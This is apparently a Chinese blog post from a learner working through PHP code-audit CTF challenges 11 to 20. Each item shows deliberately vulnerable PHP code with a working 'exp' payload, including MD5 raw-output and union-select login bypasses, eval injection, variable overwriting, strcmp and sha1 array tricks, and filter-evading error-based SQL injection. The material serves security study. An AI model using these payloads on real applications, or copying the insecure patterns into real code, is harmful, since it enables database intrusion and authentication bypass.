继续来研究常见的php代码漏洞!
11.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
<?php
error_reporting(0);
$link = mysql_connect(‘localhost’, ‘root’, ”);
if (!$link) {
die(‘Could not connect to MySQL: ‘ . mysql_error());
}
// 选择数据库
$db = mysql_select_db(“test”, $link);
if(!$db)
{
echo ‘select db error’;
exit();
}
// 执行sql
$password = $_GET[‘pwd’];
$sql = “SELECT * FROM admin WHERE pass = ‘”.md5($password,true).“‘”;
var_dump($sql);
$result=mysql_query($sql) or die(‘<pre>’ . mysql_error() . ‘</pre>’ );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>
|
这里我们传入一个PWD值,经过一次MD5加密之后会将里面的HEX值做一次转化
exp:?pwd=ffifdyop
这里首先将传进来的PWD值进行一次MD5计算,md5值为276f722736c95d99e921722cf9ed621c,这里再做一次HEX转化之后就会变成’or’6<trash>,拼接进去就变成了
SELECT * FROM admin WHERE pass=”or’6<trash>’
这里的<trash>表示无用,直接忽略
12.
1
2
3
4
5
6
7
|
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST[‘hello’];
eval(“var_dump($a);”);
?>
|
(就喜欢这么简单直接的php代码。。)
变量覆盖?
exp:?hello=);eval(phpinfo());//
13.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘foo’]);
if(is_array($a)){
is_numeric(@$a[“bar1”])?die(“nope”):NULL;
if(@$a[“bar1”]){
($a[“bar1”]>2016)?$v1=1:NULL;
}
if(is_array(@$a[“bar2”])){
if(count($a[“bar2”])!==5 OR !is_array($a[“bar2”][0])) die(“nope”);
$pos = array_search(“nudt”, $a[“a2”]);
$pos===false?die(“nope”):NULL;
foreach($a[“bar2”] as $key=>$val){
$val===“nudt”?die(“nope”):NULL;
}
$v2=1;
}
}
$c=@$_GET[‘cat’];
$d=@$_GET[‘dog’];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi(“3|1|c”,$d.$c[0])?die(“nope”):NULL;
strpos(($c[0].$d), “htctf2016”)?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include “flag.php”;
echo $flag;
}
?>
|
代码很长,也有很多变量需要比较,一一来看一下~
首先是$a[“bar1”]要大于2016,这里利用php弱类型,令$a[“bar1”]=2017a,这样命名有两个原因,第一个是is_numeric()会判断$a是否是数字,若为数字直接就die了,因此这里不能直接赋值为数字,第二个原因是在比较时,会直接转换成2017,后面的a会直接省略~
然后是$a[“bar2”],首先判断$a[“bar2”]是否是一个数组,长度是否为5,数组中第一个元素是否又为数组,这里令$a[“bar2”]=[[],2,3,4,5]
接着是判断$a[“a2”]是否存在“nudt”字符串,不存在返回false(这里a2是进行数组查找,所以a2为一个数组)
最后代码令$v2=1
再返回代码起始处,$a是由$foo进行json decode得到的,因此这里
$f00={“bar1″:”2017a”,”bar2″:[[],2,3,4,5],”a2″:[“nudt”]}
下面来看猫猫狗狗($cat、$dog)的故事
同样首先$cat为一个数组,然后进行strcmp比较,这里都好满足,继续往下看。。
将$d和$c[0]进行拼接,然后通过eregi()来做正则匹配,若出现“3”、“1”、“c”则匹配成功直接die,最后进行两个拼接后字符串的查找
总结上述,设置$dog=%00,$cat[0]=”ahtctf2016″,$cat[1][]=
进行上面的代入来看看具体原理
首先是if(!strcmp($c[1],$d) && $c[1]!==$d),strcmp()函数在遇到数组比较时就会产生安全问题,这里也一样,虽然c[1]!==$d,但是strcmp(c[1][],$d)就会变成0,这其实是strcmp()函数的一个漏洞,CTF中也会经常出现~
其次是eregi(“3|1|c”,$d.$c[0])?die(“nope”):NULL;这里是典型的eregi截断漏洞,这个函数遇到%00直接退出
最后是strpos(($c[0].$d), “htctf2016″)?$v3=1:NULL;这里就是一个字符串查找工作,但是不能在首位找到,因此构造$cat[0]=”ahtctf2016”
14.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
<?php
error_reporting(0);
if (!isset($_POST[‘uname’]) || !isset($_POST[‘pwd’])) {
echo ‘<form action=”” method=”post”>’.“<br/>”;
echo ‘<input name=”uname” type=”text”/>’.“<br/>”;
echo ‘<input name=”pwd” type=”text”/>’.“<br/>”;
echo ‘<input type=”submit” />’.“<br/>”;
echo ‘</form>’.“<br/>”;
echo ‘<!–source: source.txt–>’.“<br/>”;
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match(“/”.$ArrReq.“/is”,$StrValue)==1){
print “水可载舟,亦可赛艇!”;
exit();
}
}
$filter = “and|select|from|where|union|join|sleep|benchmark|,|(|)”;
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect(“XXXXXX”,“XXXXXX”,“XXXXXX”);
if (!$con){
die(‘Could not connect: ‘ . mysql_error());
}
$db=“XXXXXX”;
mysql_select_db($db, $con);
$sql=“SELECT * FROM interest WHERE uname = ‘{$_POST[‘uname’]}'”;
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key[‘pwd’] == $_POST[‘pwd’]) {
print “CTF{XXXXXX}”;
}else{
print “亦可赛艇!”;
}
}else{
print “一颗赛艇!”;
}
mysql_close($con);
?>
|
好多题目都见过啊。。不过解法有点忘了。。
这里过滤了很多,包括逗号!
这里使用的考点是group by with rollup
with rollup的作用是用于最后统计,但是对应的值为NULL
因此这里我们需要进行数据位偏移,使得我们查询的值为这个rollup up产生的NULL,然后我们再令PWD为空,注入成功
exp:uname=’ or 1=1 group by pwd with rollup limit 1 offset 2 #&pwd=
这里因为过滤了逗号,因此不能直接limit1,1等,offset用法其实是一样的~
15.
1
2
3
4
5
6
7
8
9
10
11
12
|
<?php
if (isset($_GET[‘name’]) and isset($_GET[‘password’])) {
if ($_GET[‘name’] == $_GET[‘password’])
echo ‘<p>Your password can not be your name!</p>’;
else if (sha1($_GET[‘name’]) === sha1($_GET[‘password’]))
die(‘Flag: ‘.$flag);
else
echo ‘<p>Invalid password.</p>’;
}
else{
echo ‘<p>Login first!</p>’;
?>
|
代码不是很长,但是我一眼就看到了sha1加密,然后进行比较,还是严格比较,当我们传入的是数组的时候,这时候sha1(array)===sha1(array),即为sha1(null)===sha1(null),因此会判断成功
exp:?name[]=1&password[]=2
16.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect(“********”, “*****”, “********”);
mysql_select_db(“phpformysql”) or die(“Could not select database”);
if ($conn->connect_error) {
die(“Connection failed: “ . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = “select pw from php where user=’$user'”;
$query = mysql_query($sql);
if (!$query) {
printf(“Error: %sn”, mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row[“pw”];
if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo “<p>Logged in! Key:************** </p>”;
}
else {
echo(“<p>Log in failure!</p>”);
}
}
?>
|
找了一圈,没看到过滤函数,大胆的注入吧~
$user没有任何过滤语句,可以直接注入!
令$user=’ union select “0e830400451993494058024219903391″#
这里拼接进去就变成了select pw from php where user=’ ‘ union select “0e830400451993494058024219903391″#
这里的0e开头纯属巧合,并不是利用php弱类型比较!
exp:$user=’ union select “0e830400451993494058024219903391″#&pwd=QNKCDZO
这串md5值正为后面QNKCDZO的md5值,这里不是弱类型比较!因为前面的$user为空,因此$query也就会选择后面这串MD5值,由于是我们构造的,因此能够匹配成功!
17.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
include “flag.php”;
$_403 = “Access Denied”;
$_200 = “Welcome Admin”;
if ($_SERVER[“REQUEST_METHOD”] != “POST”)
die(“BugsBunnyCTF is here :p…”);
if ( !isset($_POST[“flag”]) )
die($_403);
foreach ($_GET as $key => $value)
$$key = $$value;
foreach ($_POST as $key => $value)
$$key = $value;
if ( $_POST[“flag”] !== $flag )
die($_403);
echo “This is your flag : “. $flag . “n”;
die($_200);
?>
|
首先要有POST的方式,不然不给,其次就是POST中变量一定为flag,不然会die,接下来是两个遍历,利用遍历,发现能够直接把$flag覆盖
exp:?_200=flag
POST:flag=1
这里最主要的是那个GET语句,这里我们将_200的值赋值为flag,因为最后有个die($_200),所以最后会输出flag
18.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?php
#GOAL: get password from admin;
error_reporting(0);
require ‘db.inc.php’;
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET[‘username’]);
$password = @clean((string)$_GET[‘password’]);
$query=‘SELECT * FROM users WHERE name=”.$username.” AND pass=”.$password.”;’;
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die(‘Invalid password!’);
}
$row = mysql_fetch_assoc($result);
echo “Hello “.$row[‘name’].“</br>”;
echo “Your password is:”.$row[‘pass’].“</br>”;
?>
|
这里这么多msql操作,肯定是要求我们构造一个注入语句,但是上来就给我一个gpc和一个htmlentities,莫非是利用转义来进行逗号逃逸?
exp:username=admin&password= or 1#
最后拼接语句:query=’SELECT * FROM users WHERE name=’admin’ AND pass=’ or 1#’;’;
19.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
<?php
include ‘config.php’;
foreach(array(‘_GET’,‘_POST’,‘_COOKIE’) as $key){
foreach($$key as $k => $v){
if(is_array($v)){
errorBox(“hello,sangebaimao!”);
}else{
$k[0] !=‘_’?$$k = addslashes($v):$$k = “”;
}
}
}
function filter($str){
$rstr = “”;
for($i=0;$i<strlen($str);$i++){
if(ord($str[$i])>31 && ord($str[$i])<127){
$rstr = $rstr.$str[$i];
}
}
$rstr = str_replace(”’,”,$rstr);
return $rstr;
}
if(!empty($message)){
if(preg_match(“/b(select|insert|update|delete)b/i”,$message)){
die(“hello,sangebaimao!”);
}
if(filter($message) !== $message){
die(“hello,sangebaimao!”);
}
$sql=“insert guestbook(`message`) value(‘$message’);”;
mysql_query($sql);
$sql = “select * from guestbook order by id limit 0,5;”;
$result = mysql_query($sql);
if($result){
while($row = mysql_fetch_array($result)){
$id = $row[‘id’];
$message = $row[‘message’];
echo “|$id|=>|$message|<br/>”;
}
}
$message = stripcslashes($message);
$sql = “delete from guestbook where id=$id or message =’$message’;”;
if(!mysql_query($sql)){
print(mysql_error());
$sql = “delete from guestbook where id=$id”;
mysql_query($sql);
};
}
?>
|
三个白帽的题目好像。。
对于这种二次注入不是很精通,看了好久的wp也没懂。。
这里先给出exp,再来好好研究下原理
exp:?message=aaax27 and updatexml(0,concat(0x27,(/*!00000select version()*/)),0)%23
报错注入,没什么好说的,有很多种报错方式,自我觉得updatexml是最简单的,就先来看updatexml()这个函数吧,首先updatexml用法是updatexml(0,mysql语句,1)
但是这里使用的是mysql数据库,其中有个特性就是内联注释/*!mysql语句*/,这里就用到了这个知识点,但是前面有五个0表示mysql版本,如果现在的mysql版本为5.7.9,那么/*!50709user()*/将会返回mysql的user,这里并没有报错,因为mysql的版本没有问题,但是如果是/*!00000user()*/,这里就会出错,从而产生报错注入!
这样构造是因为可以回显报错语句,更重要的是可以绕过那个正则匹配
最后我们再来看这个addslashes怎么办,这中间出现了一个没见的函数stripcslashes(),百度了一下,这函数竟然会删除由addcslashes() 函数添加的反斜杠。。。这也是够坑的。。
20.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?php
$link = mysqli_connect(‘localhost’, ‘root’, ‘root’);
mysqli_select_db($link, ‘code’);
$table = addslashes($_GET[‘table’]);
$sql = “UPDATE `{$table}`
SET `username`=’admin’
WHERE id=1″;
if(!mysqli_query($link, $sql)) {
echo(mysqli_error($link));
}
mysqli_close($link);
?>
|
很明显的update注入~
但是这种注入手法不常见,而且注入语句不在同一行,因此不能用注释符直接注释,最后有个addslashes()函数作为拦路虎,,所以这条题目难度就上来了。
感觉自己水平尚浅,对于这个问题并不能说清,就放出wp地址:传送门
暑期有空参加了火种CTF的比赛,比赛总的来说不是很难,但是web部分遇到了很多困难,不过cryto较为简单,全部做出来了。逆向是一如既往的放弃,我要开始好好学逆向了~ 附比赛的wp: 传送门:火种CTF-wp 相关推荐: 利用java复现 ES文件浏览器 CV…
请登录后发表评论
注册